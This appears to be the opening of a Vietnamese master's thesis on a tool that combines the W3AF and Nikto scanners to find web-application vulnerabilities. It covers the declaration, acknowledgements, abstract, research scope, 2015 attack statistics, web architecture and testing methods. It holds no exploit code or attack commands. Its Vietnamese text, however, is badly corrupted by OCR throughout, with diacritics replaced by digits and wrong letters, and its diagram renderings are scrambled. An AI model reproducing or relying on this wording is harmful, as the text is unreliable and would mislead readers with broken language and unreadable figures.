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LOI CAM DOAN

T6i xin cam doan day 1a cong trinh nghién cau cia riéng t6i. Cac sb licu, két
qua néu trong Luan vin 13 trung thuc va chua timg duoc ai cong bo trong bat ky
cong trinh nao khac.

T6i xin cam doan rang moi su giup d& cho viéc thuc hién Luan van nay
d4 duoc cam on va cac thong tin trich dan trong Luan van d& dugc chi rd nguon
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goc.
Hoc vién thwc hién Ludn van

(Ky va ghi rd ho tén)

Van Minh Phi



LOI CAM ON

Trudc tién, toi xin chan thanh cam on TS. Lu Nhat Vinh - nguoi da dinh
huéng va chi dan tan tinh cho t6i trong sudt thoi gian thuc hién luan van.

T6i xin gai loi cam on quy thay cd trong khoa Cong nghé thdng tin va
phong Quan ly khoa hoc - Pao tao sau Pai hoc, Truong Pai Hoc Cong nghé TP.
HCM, nhitng ngudi d4 cling trao doi, thao luan va chia sé cho tdi nhitng kién thirc,
kinh nghiém quy béu.

T6i cling xin cam on tat ca cac anh chi, cac ban hoc ciing khoa ciing nhiing
ddng nghiép da hd tro va gop y rat nhiéu cho luan vin caa toi, gidp toi ¢ thé lam
t6t cong viéc cua minh.

Con xin cam on Ba Mg, nhitng nguoi than yéu da luén ung hg, dong vién con
trong sudt thoi gian thuc hién luan van.

Xin chan thanh cam on tat ca moi ngudi!

Van Minh Phi



TOM TAT

Khi Internet budc vao giai doan phat trién manh mg, mang Internet dugc mo
rong todn cau, phan 1én céc cong ty, xi nghiép, t6 chtrc va tham chi mdi c4 nhan
cling c6 website riéng dé quang ba hinh anh ciing nhu chia sé thong tin qua mang
Internet. Thong qua nhirng website nay, ching ta c6 thé chia sé thong tin, dit liéu
v6i nhau di & bat cr dau va bat co khi ndo. Loi ich ma Internet ndi chung va
website noi riéng 1a rat 16n, nhung bén canh d6 ciing tiém an rat nhiéu nguy hiém
ma hé thong website mang lai, khi n6 bi xdm nhép va bi danh cap nhiing thong tin
quan trong, dac biét 1a trong nhitng linh vuc nhay cam nhu quan su, an ninh, ngan
hang, nang lugng va cac linh vuc tu dong. Cac server la noi cac dir liéu quan trong
duoc luu trir va nhitng server nay thudng lién kiét véi may chu web, gilp cac hoat
dong duoc tién hanh tir xa. Do vay, dé dam bao cho mot hoat dong dang tin cay,
viéc bao mat cac may chu web 1a khong thé thiéu.

Dbi v6i moi hacker (ké xdm nhap) dU mii den hay mii tring mudn xam nhap
vao hé théng mdy tinh, ho s& tham do hé théng d6 hoat dong nhu thé nao dé tir d6
dua ra nhitng phuong phéap tan cong [1] hay phong tha mot cach hitu hig¢u. Do d6
truéc khi bi tn cong, chiing ta phai biét hé thong cia minh ¢6 nhimg 16 hong béao
mat ndo va tién hanh xir 1y né trude khi qua muodn.

Hién tai ¢4 c6 mot sd cong cu quét [2] 16 hong bao mat tich hop nhiéu tiy
chon quét khac nhau vao trong chwong trinh nhung van chwa c6 cong cu nao co thé
thue hién duoc hau hét cac loai quét va tim ra duoc hau hét cac 16 hong bao mat. Do
moi mot cong cu co cach xir 1y, cAu tric cau lénh, ciing nhu cac 16i tim dugc khéc
nhau, ngudi ding mudn sir dung chuong trinh nao thi nguoi ding phai hiéu 16 cach
quét ciing nhu timg tUy chon quét ma mdi chuong trinh hd tro, diéu nay gay mat
thoi gian va khoé khan cho nguoi dung. Vi vay, viée tao giao dién cho cac cong cu
quét nay 1a mot diéu can thiét. Hon nira, mdi cong cu co thé tim ra cac 161 bao mat
khac nhau va hién nay chua c6 cong cu ndo 6 thé tim ra dugc tit ca cac 16i cia hé
thdng [2] nén viéc tich hop nhiéu cong cu lai v6i nhau s& tim ra dugc nhiéu 18i hon

S0 V&i mot cong cu duy nhat, sau khi tién hanh cai dat, kiém tht, thu thap s6 liéu dé



so sanh, cudi cung chung t6i da chon dwoc hai cong cu dé tich hop lai véi nhau d6
la W3AF va Nikto.

Pé tai nay cung cép kién thirc vé nhing 15 hong bao mat thuong gap hién
nay, giéi thiéu va so sanh cac cong cu quét 156 hong bao mat phd bién, dua trén sé
liéu so sanh d6, xay dung mot cong cu nham do tim 16 hong cia cac ung dung web
bang cach phan tich va sir dung mot by cic cong cu két hop lai v6i nhau dé cé thé
xtr 1y mot pham vi 16n hon cac 16 hong bao mat. Cy thé 1a sir dung cac kiém tra, do
tim 16 hong caa mot ung dung web bang viéc sir dung két hop hai cong cu W3AF
va Nikto, két qua dya trén mo hinh tan cong ddi voi tng dung web nam trong
OWASP Top 10 [3].



ABSTRACT

When the Internet entered the stage of strong development, the Internet will be a
global expansion. Most companies, enterprises, organizations and even individuals also
have their own websites to promote the images as well as information sharing
information via the Internet. Through this website, we can share information and data
with each other no matter wherever and whenever. Benefits that the Internet in general
and in particular the website are great, but there are also potential dangers that offer the
system, when it was intruded and stolen the important information, especially in
sensitive sectors such as military, security, banking, energy and auto sectors. The server
is where the important data are stored and the server are usually associated with web
hosting fetters help activities are conducted remotely. Therefore, to ensure a reliable

operation, the security of the web server is indispensable.

For every hacker (intruder), though black hat or white hat, wants to get into the
computer system. They will probe the system to see how it works so that they can
make the attack method [1] or an effective defense. So before being attacked, we must
know our system if they have security vulnerabilities and then, if they do, we will

handle them before they’re too late.

Currently, there are several scanning tools [2] integrated with security
ulnerabilities and many different scanning options in the program but no tools can
perform most types of scans and found the most security vulnerabilities. Since each
tool has a handle, command structures, as well as various bugs found, if users want to
use the programs that must be understood on how each scan and scanning options
support, this will be time-consuming and difficult for users. Therefore, the creation of
interfaces for the scan tool is necessary. Moreover, each tool can find different
vulnerabilities, and there is currently no tools can find all the faults of the system [2].
Should the integration of multiple tools together will find more errors than a single
engine, after carrying out the installation, testing, collecting data to compare, finally we

chose tools which integrated with one another and that is W3AF and Nikto.

This subject provides knowledge about common security vulnerabilities at



Vi

present, introduces and compares the scan tools for common security vulnerabilities,
based on comparative data. The construction of a tool to detect vulnerabilities of web
applications by analyzing and using a combination of tools together to be able to handle
a larger range of security vulnerabilities. Specifically, the use of the test, to detect
vulnerabilities in a web application using two tools combined W3AF and Nikto,

model-based results attacks against web applications are located in OWASP Top 10

[3].
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CHUONG 1: TONG QUAN

1.1 Ly do chon dé tai

An ninh mang dang dan tro thanh mét linh vuce quan trong & moi nganh cong
nghiép bao gdm quan sy, an ninh, ngan hang, nang luwong va céc linh vuc tu dong.
Céc server l1a nhiing tai san rat quan trong trong cac nganh cong nghiép nay, 1a noi
c4c dir liéu kinh doanh nhay cam duogc luu trit. Nhitng server nay thuong lién Kiét
véi may chit web gilp céc dir liéu kinh doanh va cac hoat dong dugc tién hanh tir
xa. Do vay, dé dam bao cho mét hoat dong dang tin cdy, viéc bdo mat cac may chu
web 1a khong thé thiéu.

Khi khoa hoc may tinh va Internet ngay cang phét trién, thi cac van dé vé an
ninh mang va bao mat ngay cang dugc chu trong. Do cac hacker luon tim cach dot
nhap vao cac hé thong may tinh nham phé hoai hay trom cap cac théng tin quan
trong. DSi véi moi hacker di mii den hay mii trang thi khi d6i mat vi mot hé thong
may tinh, ho phai biét hé thdng d6 hoat dong nhu thé nao dé tir 46 dua ra nhiing
phuong phép tin cong [1] hay phong tha mot cach hiru hiéu. Cac théng tin nhu cac
dich vu, hé diéu hanh, webserver... s& chi ra cho hacker biét hé théng hoat dong nhu
thé ndo va co nhimg 16 hong gi va ki thuat quét (scanning) c6 thé giup ho c6 dugc
céc thong tin ay.

Sau khi tién hanh nghién cau ly thuyét: mé hinh hoat dong caa tng dung
web, cac ky thuat tan cdng web, nhitng cong trinh khoa hoc, cong cu do tim 16 hong
bao mat tng dung web lién quan... Chang tdi nhan thay rang hién nay c6 rat nhiéu
cdng cu hd trg cho viée quét 16 hong bao mat va mdi cong cu ¢b nhitng chirc ning
cling nhu cac vu, nhuge diém riéng. Thém vao do, nhimng cong cu lai ¢o giao dién
hozc cdu triic cau 1énh khac nhau. Diéu nay dat ra mot nhu cau can phai c6 mot bd
cdng cu tich hop nhiéu cong cu quét 16 hong bao mat lai dé tao thanh mot bd cong
cu quét 15 hong bao mat co thé tap hop duoc cac diém manh cua timg cong cu riéng
biét.

Pé tai: “Nghién ctu va xay dung ¢ng dung bao mat Website” duoc dua ra

nghién ctru dé giai quyét van dé nay.



Pé tai dugc nghién ciru theo phuwong phap nghién cau ung dung. Muc tiéu
cua dé tai 1a xay dung mot ¢ng dung tich hop b céng cu quét 16 hong bao mat ang
dung web. Két qua quét duogc tir bo ¢ong cu nay sé gitip nguoi quan tri website ra
soét va khic phuc céc 16 hong bao mat tim duoc, dam bao cdng tac an ninh, an toan

cho hoat dong website.

1.2 Pbi twong va pham vi nghién ciru
o Déi tugng nghién cuau:

Pé tai tap trung nghién cau ly thuyét bao mat tng dung web, céc cong cu
quét 15 hong bao mat tng dung web, 02 cong cu quét 16 hong bao mat 1a W3AF va
Nikto.

0 Pham vi nghién cau:

Pé tai mo ta cach kiém tra do tim 16 hong ciia mot img dung web bang viéc
str dung két hop cac cong cu W3AF va Nikto. Bo cong cu tich hop ndy ¢ cac chirc
nang chinh sau:

e Tich hgp chirc nang cua hai cong cu.
e Cho phép nguoi ding d& dang tly chon céc kiéu quét.
e Tong hop két qua, giup ngudi quan tri d& dang tim ra cac 16 hong bao mat.
e Dua ra cac goi y stra 16i cho ngudi dung.
B cong cu c6 thé chay trén hé diéu hanh Windows, cu thé 13 Windows 7 véi

nén tang .NET Framework 4.0 trg 1én.

1.3 Phuwong phap nghién ciru

Nghién ctru 1y luan: Tim hiéu cc khai niém tng dung web, mo hinh hoat
dong cua tng dung web, cac 16 hong bao mat ing dung web thudng gip, cach thirc
tan cong ciia ké xam nhap, cach ngin chan tan cong, cac cong cu quét 16 hong bao
mat tmg dung web tién tién hién nay.

Ap dung thyc tién: Cai dit cac cong cu, kiém thir, thu thap sb liéu, so sanh
hiéu qua cic cong cu, tién hanh xay dung cong cu quét 15 hong bao mat img dung

web maéi dua trén bang so sanh cac cong cu da co.



1.4 B6 cuc
Noi dung ciia quyén bao céo luan van gom 05 chuong:
Chuong 1: Tong quan

Chuong ndy gidi thiéu tong quan vé dé tai va su can thiét ciia viéc nghién
ctru dé tai nay, dong thoi ciing néu 18n muc tiéu can dat duoc. Cudi cling 1a néu 1én
tong quan vé noi dung cua timg chuong trong quyén luén van nay.
Chuong 2: Ly thuyét vé bao mat ing dung web

Trinh bay cac khéi niém chinh trong dé tai nhu: tng dung web, mé hinh hoat
dong ung dung web, cac 16 hong bao mat thudng gip, cach thirc tan cong cua ké
Xam nhap, cach ngan chin tin cong...
Chuong 3: Nhitg cdng cu quét 16 hong bao mat c6 lién quan

Gidi thiéu so luoc lich st cac nghién ciu co lién quan dén dé tai, cong cu
quét W3AF va Nikto va mot sé cong cu khac dé so sanh, phuong phap nghién ciu
thuc hién dé tai.
Chuong 4: Xay dyng ¢ng dung quét 156 hong bao mat

Lya chon giai phap cho bai ton tong thé cling nhu timg thanh phan, két hop
cac cong cu co san thanh mdt cong cu manh hon, hiéu qua hon.
Chuong 5: Két luan va hudéng phat trién

Chuong cudi nay dtc két nhimg gi ma luan vin dat duoc va chua dat dugc

qua khoang thoi gian thuc hién ciing nhu nhitng dé xuat cho viéc phat trién sau nay.



CHUONG 2: LY THUYET VE BAO MAT UNG DUNG WEB

Trong nhimg nim gan day, cdc vu tan cong mang gia ting manh vé mit sb
lwgng, hinh thirc vi pham ngay cang tinh vi va c6 tinh to chie. Theo thong ké cho
thay, nam 2015, c6 nhiéu hinh thic tin cdng vai nhitng k¥ thuat khac nhau, phd
bién nhat l1a cac ky thuat: Tan cong do quét diém yéu dich vu UPNP, tan céng gay
tir chéi dich vu phan giai tén mién DNS, tin cong do mat khau dich vu FTP bang
phuong phap vét can (brute force login attempt)...

S6 lugng cac cude tin cong theo timg loai hinh k¥ thuat d4 dugc Trung tAm
Ung ctru khan cdp may tinh Viét Nam (VNCERT) thong ké cu thé hang nam voi
con s khong nho. Dudi ddy 1a bang thong ké [4] theo quy Top 5 k¥ thuat tan cong
trong ndm 2015 vao hé thong thong tin nudc ta:

Bang 2.1: Top 5 ky thuat tin cong trong nam 2015 vao hé thdng thong tin nudc ta.

STT TEN KY THUAT TAN CONG SO LUQONG
QUY I
1 Tan cong do quét diém yéu dich vu UPNP 1165518
2 Tan cong gay tir ch6i dich vu phéan giai tén mién DNS 950146

Lam dung céc dich vu ctia Google dé tién hanh tan cong cac

3 hé thong trang thong tin dién tir gay tinh trang tir chdi dich vu 219061
Tan cong do mat khau dich vu FTP bang phuong phap vét can

4 . 204926
(brute force login attempt)

5 Tan cong may chi website st dung phan mém APACHE 154862

QUY II

1 Tan cong do quét diém yéu dich vu UPNP 293015
Tan cong do mat khau dich vu FTP bang phuong phap vét can

2 i 240912
(brute force login attempt)

3 Tan cong chuyén hudng tén mién nham vao nguoi dung thong 217938

qua dich vu DNS bang k¥ thuat dns cache poisoning
4 Tén cong vét can mat khau thong qua dich vu SSH 174910
Tan cong diém yéu ung dung Web thong qua giao thirc HTTP

> POST request khi tinh nang file_uploads dugc kich hoat 96052
QUY Il

1 Tan cong khai thac diém yéu bao mat cia img dung Web 2352175

) Lay nhiém ma doc, két ndi dén mang ludi ma doc qua dich vu 944694

DNS
3 Lam dung dich vu calendar access cua cac hé¢ théng trang 327714



thong tin dién tir dé thu thap thong tin
Tan cong chuyén hudng t8n mién nham vao nguoi dung théng

) qua dich vu DNS bang k¥ thuat dns cache poisoning 283958
5 Tan cong vét can mat khau thong qua dich vu SSH 248713

QUY IV

Tan cong gay tir chéi dich vu phan giai tén miép DNS bang
1 phuong phap truy van random DNS domain nham vao dich vu| 741184
DNS
Tan cong do quét diém yéu dich vu UPNP 234865
Lam dung dich vu calendar access C}"la cac hé thong trang 196255
thong tin dién tir dé thu thép thong tin
Tan cong gay tir chdi dich vu phan giai tén mién DNS 179827
Tén cong chuyén huéng tén mién nham vao nguoi dung thong 173814
qua dich vu DNS bang k¥ thuat dns cache poisoning

ol (B W DN

Théng ké trén cho thay cac k¥ thuat tn cong pho bién vao hé théng thong tin
cia nudc ta 1a rit da dang va thay doi lién tuc. Do d0, cac co quan, to chirc lién
quan can dé cao canh giac, nang cao ning luc dé d6i pho véi nhimng toi pham mang

ngay cang phtc tap va phat trién.

V6i sy phat trién manh mé ciia ké xdm nhép qua ting nam, cac t6 chic va
trung tdm an ninh mang d4 cho phat trién nhitng cong cu phét hién cac 16 hong bao
mat dé nguoi ding c6 thé quét 16 hong trén hé théng minh tir d6 c6 nhiig gia cd hé
thdng hop 1y.

Luan vin dugc thyc hién nham tim hiéu vé cac k¥ thuat tan cong trang web
va dé ra cach phong chéng. Do d6, trong phan dau cua 1y thuyét s& gidi thiéu so
lwoc mot s6 khai niém co ban, cac cach tan cong ciing nhu phong tranh va day

chinh 12 nén tang dé xay dung ndi dung cho nhiing phan sau.
2.1. Gi6i thiéu vé ing dung web

2.1.1. Khéi niém wng dung web

Ung dung web 1a mot tmg dung chi/khach st dung giao thac HTTP dé
twong tac voi ngudi ding hay hé théng khac. Trinh khach danh cho nguoi sir dung
thuong 12 mot trinh duyét web nhu: Internet Explorer hay FireFox. Ciing c6 thé 1a

mot chuong trinh ¢ chirc nang nhu mot trinh duyét web. Nguoi dung gui va nhan



cac thong tin tir may chu thong qua viéc twong tac vai trang web. Cac chuong trinh
nay co thé 1a cac trang trao d6i mua béan, cac dién dan, cac trang giri nhan email...

Téc do phat trién cac ky thuat xdy dung tmg dung web ciing phat trién rat
nhanh. Trudc day nhimg tng dung web thudng duge xay dung bang CGI (Common
Getaway Interface) dugc chay trén cac may chu web va két ndi voi véi cac co so dir
licu don gian trén cing Mot may chi. Ngdy nay tng dung web thuong duoc viét
bang PHP, ASP.Net (hay cic ngdn ngit twong tu) va chay trén may chu phan tan,
két n6i dén nhiéu ngudn dir liéu.

Mot ing dung web thuong co kién tric gom:

I
' @ R 4 N ! ; |
| Java Server | ;! I
| Pages E P! I
| Internet Tomecat < XML JDBC !
I'1| Explorer |l I © :
i ver) N @ | | csou |
Netscape Apach ! [
I . ache s 1, A
i | [Navigator P S0AP SQL :
==
I
| Opera Information Pages : 1 : ll Da ligu :
! Server COM XML XML
I P! I \ \-___/ :
I 1! | I p
! P! o |
| & =/ \_ o P! : | |
I

Hinh 2.1: Kién tric mot tng dung web

Hinh 2.1 mé ta kién trGc thong thudng cia mot tmg dung web, cac duong
gay khic biéu thi cac 16p ciia tng dung web, bao gdom:

e L6p trinh bay: Lép ndy ¢6 nhiém vy hién thi dir liéu cho ngudi ding,
ngoai ra con co thé ¢ thém céc ing dung tao bd cuc cho trang web.

e Lop ung dung: La noi xtr 1y ctiia ing dung web. No s€ xir ly thong tin
ngudi dung Y8u cau, dua ra quyét dinh, giri két qua dén “19p trinh bay”. Ldp nay
thuong duoc cai dat bang cac ky thuat 1ap trinh nhu CGl, Java, .NET, PHP duoc
trién khai trén cac may chii nhu Apache, 11S...

e Lop dir liéu: Thuong 1a cac hé quan tri dix liéu (DBMS) chiu tranh nhiém
quan 1y céc file dir liéu va quyén st dung.

M® hinh hoa hoat dong ctia mot tng dung web:



Bire tuong Itra MS SQL
Oracle
HTTP yéu cau MySQL
s

]
o |2 o| Dok (cspL
Khich - e

L
=

HTTP tra 1oi
LE. Apache Perl Két ndi CSDL
Netscape s C/C++ ADO, ODBC....
Opera ASP, PHP.,...

Hinh 2.2: M6 hinh hoat dong cua mot ing dung web
Trong do:

e Trinh khach (hay con goi la trinh duyét): Internet Explorer, FireFox,...

e Trinh chu: Apache, IIS,...

e H¢ quan tri CSDL: Oracle, SQL Server, MySQL,...

Bén canh d6, mot giai phap dung dé bao vé hé théng mang thuong dugc sir dung
la buc tuong lira (firewall), né ¢6 vai trd nhu Iép rao chan bén ngoai mot hé thong
mang, vi chirc nang chinh cta firewall 1a kiém soat ludng thong tin gilta cac may
tinh. C6 thé xem firewall nhu mot b loc théng tin, nd xac dinh va cho phép mot
may tinh nay c6 duoc truy xuat dén mot may tinh khac hay khong, hay mot mang
nay c6 dugc truy xuat dén mang kia hay khong,

Nguoi ta thuong dung firewall vao muc dich:

e Cho phép hoic cam nhiing dich vu truy suit ra ngoai.

e Cho phép hodc cAm nhirng dich vu tir bén ngoai truy xuét vao trong.

e Kiém soat dia chi truy nhap, cAm dia chi truy nhap.

Firewall hoat dong dua trén goi IP do d6 kiém soat dugc viée truy cap mdy tinh

cua nguoi su dung.

2.1.2. M0 ta hoat dong ciia mot @rng dung web
Dau tién trinh duyét s& giri mot yéu cau (request) dén may chu Web thong qua
c4c lénh co ban GET, POST... ciia giao thirc HTTP, may chu luc nay c6 thé cho



thuc thi mot chuong trinh duge xay dung tir nhiéu ngén ngit nhu Perl, C/C++...
hoic may cha yéu cau bo bién dich thyc thi cac trang ASP, JSP... theo yéu cau cua
may khéach.

Tuy theo céc tac vu cta chuong trinh duoc cai diat ma nd xir 1y, tinh toan, két
néi dén co so dir liéu, luu cac thdng tin do may khach guri dén... va tir d6 tra vé cho
may khach 1 ludng dir liéu c6 dinh dang theo giao thire HTTP, n6 gdm 2 phan:

e Header md ta cac thong tin vé goi dir lidu va cac thudc tinh, trang thai trao
ddi giira trinh duyét va WebServer.

e Body la phan ndi dung dir liéu ma Server gui vé Client, n6 c6 thé 1a mot file
HTML, mét hinh anh, mot doan phim hay mot vin ban bat ki.

Theo md hinh ¢ hinh 2.2, véi firewall, ludng thong tin gitra may chu va may
khach 1a luong thong tin hop 1&. Vi thé, néu hacker tim thay vai 16 hong trong Ung
dung web thi firewall khéng con hiru dung trong viéc ngan chan hacker nay [5]. Do
d6, cac ky thuat tin cong vao mot hé thong mang ngay nay dang dan tap trung vao
nhiing so suét (hay 16 hong) trong qué trinh tao ing dung cta nhiing nha phét trién
Web hon 14 tin cong truc tiép vao hé théng mang, hé diéu hanh. Tuy nhién, hacker
cling c6 thé loi dung cac 16 hong tng dung web dé mo rong su tin cong ciia minh

vao cac hé thong khong lién quan khac.

2.1.3. Mgt s6 chirc ning phd bién ciia cic ing dung web
Ung dung web da dugc phat trién nham thuc hién tat ca cac chtrc nang hitu ich

c6 thé st dung duoc trong méi truong truc tuyén (Internet). Dudi diy 1a mot s6
chtrc ning cta tng dung web d4 dwoc phat trién va sir dung rat nhiéu trong nhing
nam gan day:

e Mua bén tryc tuyén: Amazon, Ebay, 5giay.com, ...

e Mang xa hoi: Facebook, Linkedin,...

e Ngan hang tryc tuyén: HSBC, Citibank, Vietinbank Ipay, ...

e Tim kiém: Google, Yahoo, Bing,...

e Daiu gia: eBay, Ubid, ...

e Co bac: Betfair, intercasino.com, gambling.com,...

e Blog: Blogger, blogspot.com,...



e Webmail (quan ly Email bang trinh duyét Web): Gmail, Hotmail, Yahoo
Mail, ...
e Tuong tac thong tin (Interactive information): Wikipedia, Wikileak, ...

Hién nay, v6i su phét trién manh mé cua Internet va cac thiét bi di dong cam
tay nhu: Laptop, Smarphone, Tablet,... thi cac ung dung phai dap tng kha nang két
néi di dong bang cach sir dung trinh duyét web hoic cac tng dung riéng trén di
dong (Android, 10S, Windows phone,...) st dung co ché két nbi dén Server dua
trén HTTP/HTTPS thong cac ham APIs. Bac biét, cac ing dung trudc day thuong
chi dung trong hé théng noi bo nhu: ERP, HR, Office,... do chira c4c dir liéu riéng
tu, nhay cam véi cong ty, to chuc thi hién nay da phai hd tro két ndi rong hon ra
khoi hé thdng mang noi bo (Internet, VPN) thong qua cac ang dung web. Vi du:

- Ung dung quan ly nhan sy (Human Resources - HR) cho phép nguoi ding
truy cap thong tin bang lwong, cung cap va nhan lai thdng tin hi¢u suat va quan ly
tuyén dung va quy trinh ky luat.

- Phan mém cong tac (quan ly hd so, cong viéc,...) dung chia sé tai liéu, quan
ly quy trinh cdng viéc va cac du an. Nhiing chirc nang nay thuong sé lién quan dén
c4c van d¢ an ninh va quan tri rat quan trong.

- Cé4c ing dung van phong nhu van ban, bang tinh,... da chuyén sang ung

dung web qua cac dich vu nhu Google App, Microsoft Office 365,...

2.1.4. Cac diém manh ciia cac ing dung web

- Sir dung giao thuc HTTP (giao thirc truyén thong cot I18i duoc st dung dé
truy cap trong World Wide Web) véi wu thé nhe, don gian va huéng két ndi. HTTP
c6 kha nang phuc hoi két ndi trong trudng hop 15i truyén thong va tranh viéc may
cha phai giir két ndi mang dé mdi ngudi str dung, nhu cac ng dung client/server
truyén thng.

- C4c trinh duyét web thuong sé duoc cai dat mac dinh trén may tinh va thiét
bi di dong. Céac wng dung web trién khai giao dién ngudi dung ty dong dén trinh

duyét cua nguoi dung ma khdng can phan phéi, quan ly phan mém riéng biét dén
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nguoi dung. Khi can thay doi, nang cip tinh ning, giao dién,... cac ung dung web
chi can cau hinh trén may chu va s& c6 hiéu lyc ngay dén nguoi dung khi két ni.

- Céc trinh duyét web hién nay hd trg nhiéu tinh ning huéng nguoi ding cao,
giao dién, tinh nang c6 thé thay d6i theo y ngudi dung. Ngoai ra, cac trinh duyét hd
trg cong cu, tién ich di kém theo nhu: dich tir dién, tai nhac, tai phim, da ngon
ngw,...

- Céc cdng nghé nén tang va cac ngdbn ngir phat trién cac ung dung web
trong dbi don gian. Rat nhiéu cac nén tang va cong cu phat trién dé tao diéu kién
thuan loi cho viéc phat trién cac tng dung web cho cac d6i tuong khic nhau nhu:
ngudi mai hoc, khdng chuyén vé CNTT,... Vi du: ban khong 14 ngudi hoc chuyén
vé CNTT chi can lam theo mot vai huéng dan 1 c6 thé tao ¢ng dung web ca nhan
nhu: Blog, WordPress,... Ngoai ra, cac cong cu Va tai nguyén ma nguoén mo co san
dé gitip nguoi phat trién co thé xay dyung, tly chinh cac tng dung theo y minh nhu:

Zoomla, Dotnetnuke, Zope/Plone,...

2.1.5. Van dé bao mat cac ing dung web

Khi céc cong nghé méi dugc phat trién va tng dung manh mé nhu cac ang
dung web hién nay, thi theo khach quan di ciing véi diéu nay s& la hang loat cac 15
hong bao mat méi ra doi. Pa sd cac cudc tan cdng nghiém trong vao cac tng dung
web 12 1am 16 thdng tin, dir liéu nhay cam hozc truy cap khong han ché véi cac hé
thdng ma cac ung dung dang hoat dong.

Ddi vai nhiéu to chirc mot cudc tan cong gay nging hoat dong hé théng 1a
mot van dé nghiém trong. Cac tan cong tir chdi dich vy & cap d6 tng dung c6 thé
duogc sir dung dé dat duoc muc tiéu gay can kiét nguon tai nguyén twong ty nhu
cudc tan cong ddi véi co so ha tang. Tuy nhién, cac tin cong nay thuong duoc sir
dung tinh vi hon vé k§ thuat va muc tiéu tan céng. Tan cdng tir chdi dich vu & cap
d6 ing dung c6 thé duoc str dung dé gay hai ngudi dung hoac dich vu cu thé dé dat
duoc maot lgi thé canh tranh so véi cac dbi tha trong cac linh vuc kinh doanh tai
chinh, game online, dau gi4, mua vé truc tuyén. Theo danh gia ciia Gartner (Cong ty
uy tinh hang dau thé gidi vé danh gia cong nghé) thi hon 25% cac cudc tan cong

dang tir chdi dich vu (DoS, DDoS) trong nam 2013 1a nham vao cac tng dung.
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Tuy nhién, mot nhan thirc sai 1am pho bién cho rang van dé bao mat cho cac
ing dung web 12 an toan. Chi can ching ta duyét qua mot sé trang web mua ban
hang truc tuyén, vao trang “nhiing cau hoi thuong gap” (FAQ), ching ta s& rat yén
tAm rang trang web nay an toan. Vi hau hét cac ung dung web nay céng b an toan
bai vi ho str dung SSL.

Trong thuc té, phan Ion cac ung dung web 1a khong an toan, mac du da su
dung rong rdi céng nghé bao mat SSL va tudn tha quy trinh, tiéu chuan PCI
(Payment Card Industry - chuan cong nghiép cta thé thanh toan). Cac diém yéu hay
16 hong nghiém trong cia cac ung dung web thuong bat nguon tir viéc viét ma
(coding) khong dting phuong phap hay quy trinh phat trién tng dung khong an toan
s& cho phép tin tac (hacker) truy cap truc tiép va khai thac co so dit lidu dé lay dir
liéu nhay cam.

Van dé cét 16i trong bao mat tng dung web duoc mé ta cu thé qua cac
trrong hop sau:

+ Nguoi dung c6 thé can thiép vao bat ky phan dir liéu duoc truyén gitra
client va server, bao gom céc thdng sb gai di, cookies, va HTTP Header. Do do, bat
ky cac kiém soat bao mat thyuc hién trén client c6 thé d& dang bi vuot qua nhu chuc
nang kiém tra xac nhan dir liéu dau vao. Vi du: ngudi dung cd thé thay doi thong tin
HTTP header gai vé server. Cac cong cu nay rat nhiéu va co cac chirc ning gin
thém vao ngay trinh duyét nguoi dung nhu Modify Headers, Headertool,...

+ Nguoi ding cd thé giri yéu cau theo thir ty bat ky va co thé giri cac thdng
s6 tai mot giai doan nhiéu hon mét 1an, hoac khong gi ca khac véi nhitng gi du kién
theo trat tw, quy luat caa wng dung web. Diéu nay c6 nghia 1a cac gia dinh cia nha
phéat trién wng dung vé cach nguoi ding s& twong tac voi cac ang dung s& khong
dung. Vi du: mot tmg web vé quan ly nhan sy cho phép ngudi ding nhap thong tin
nhan sy vao h¢ thong. Khi tao méi nguoi ding phan mém kiém tra c6 nhap tring
hay khdng? Néu nhap tring s& thong béo xac nhan va lyu thong tin hinh anh trong
ng. Tuy nhién, viéc kiém soét lai khdng kiém tra lic ngudi nhap thay doi thong tin

nhan su d4 cé va ¢ tinh nhap tring véi nhan su khac, thay d6i hinh anh nhan sy dé.
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Két qua hé thong luu 02 nhan sy gidong nhau, khac nhau vé hinh anh. Pay 1a diéu
ma cé&c nha phat trién ung dung khéng nghi dén khi phat trien.

+ Nguoi sir dung khdng bi gisi han chi sir dung mét trinh duyét web dé truy
cap ung dung. Co rat nhiéu cdng cu duoc phd bién rong rdi dé tin céng cac ung
dung web. Nhiing cong cu nay cd thé thuc hién yéu cau dén ung dung web ma
khong can trinh duyét va co thé tao ra s lugng Ion cac yéu cau rat nhanh dé do tim

va khai thac 16 hong nhu: W3AF framework, Appscan, Acunetix Web Scanner...

2.1.6 Cac phwong phap kiém tra an toan ing dung web
2.1.6.1 Phwong phap kiém tra hop den (Black Box)

Phuong phép kiém tra hop den céac 18i bao mat trén tng dung web dé cap dén
viéc kiém tra cac tng dung tir bén ngoai, tuc 1a quan sat cac dir liéu duoc dé trinh
dén ung dung va céc dix liéu tir tng dung xuat ra ma khéng can hiéu dén hoat dong
bén trong ctia nd. Qué trinh dé trinh di liéu tir bén ngoai dén ung dung co thé thuc
hién bang thu cdng hoic sir dung cong cu tu dong giri dén wng dung.

e Kiém tra thii cong:

Kiém tra tha cong l1a qué trinh kiém tra ma ngudi kiém tra phai xac dinh vi
tri dix liéu can duogc dé trinh dén (ng dung bang cach sir dung céc intercepting proxy
(1a mot tng dung nam giira ing dung va trinh duyét, cho phép nguai kiém tra thay
doi gia tri mot cach tiy bién trude khi dé trinh dén wng dung) va tap di liéu can dé
trinh dén g dung tuong &g véi cac vi tri dé trinh d& xac dinh trudc do.

Mot s6 cong cu tiéu biéu: WebScarab, BurpSuite. ..

o Kiém tra I5i ty dong:

Phuong phap kiém tra I5i tu dong la qua trinh cac cong cu s& thuc hién tu
dong quét thu muc, tap tin cua ung dung web va tu dong xac dinh cac diém ma can
dé trinh dit liéu. Trén co s& d x4c dinh cac diém can dé trinh tu dong tiép dén cong
cu sé& thyc hién dé trinh cac tap dir liéu duoc dinh nghia sin va cho sy phan hoi tir
phia (rng dung web d¢ kiém tra xem liéu ung dung d6 c6 bi cac 16i bao mat hay
khong?

Mot s6 cong cu tiéu biéu: W3AF, Acunetix...
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2.1.6.2 Phwong phap kiém tra hop tring (White Box)

Phuong phap kiém tra hop tring cac I18i bao mat trén tng dung web la qué
trinh kiém tra tryc tiép ma nguon cua tng dung web dé tim ra cac 16i bao mat. Quéa
trinh quan sat va kiém tra ma ngudn c6 thé thyuc hién thii cdng hoic thuc hién bang
cong cu. Qua trinh thyc hién béng cong cu tac la qua trinh ma cong cu sé thuc hién
quét toan bo ma ngudn cia ang dung va dya trén tap nhan biét cac ham, cac chi dan
c6 kha nang gay ra 18i boi ngdn ngir 1ap trinh phat trién ang dung web. Mot ¢ong cu
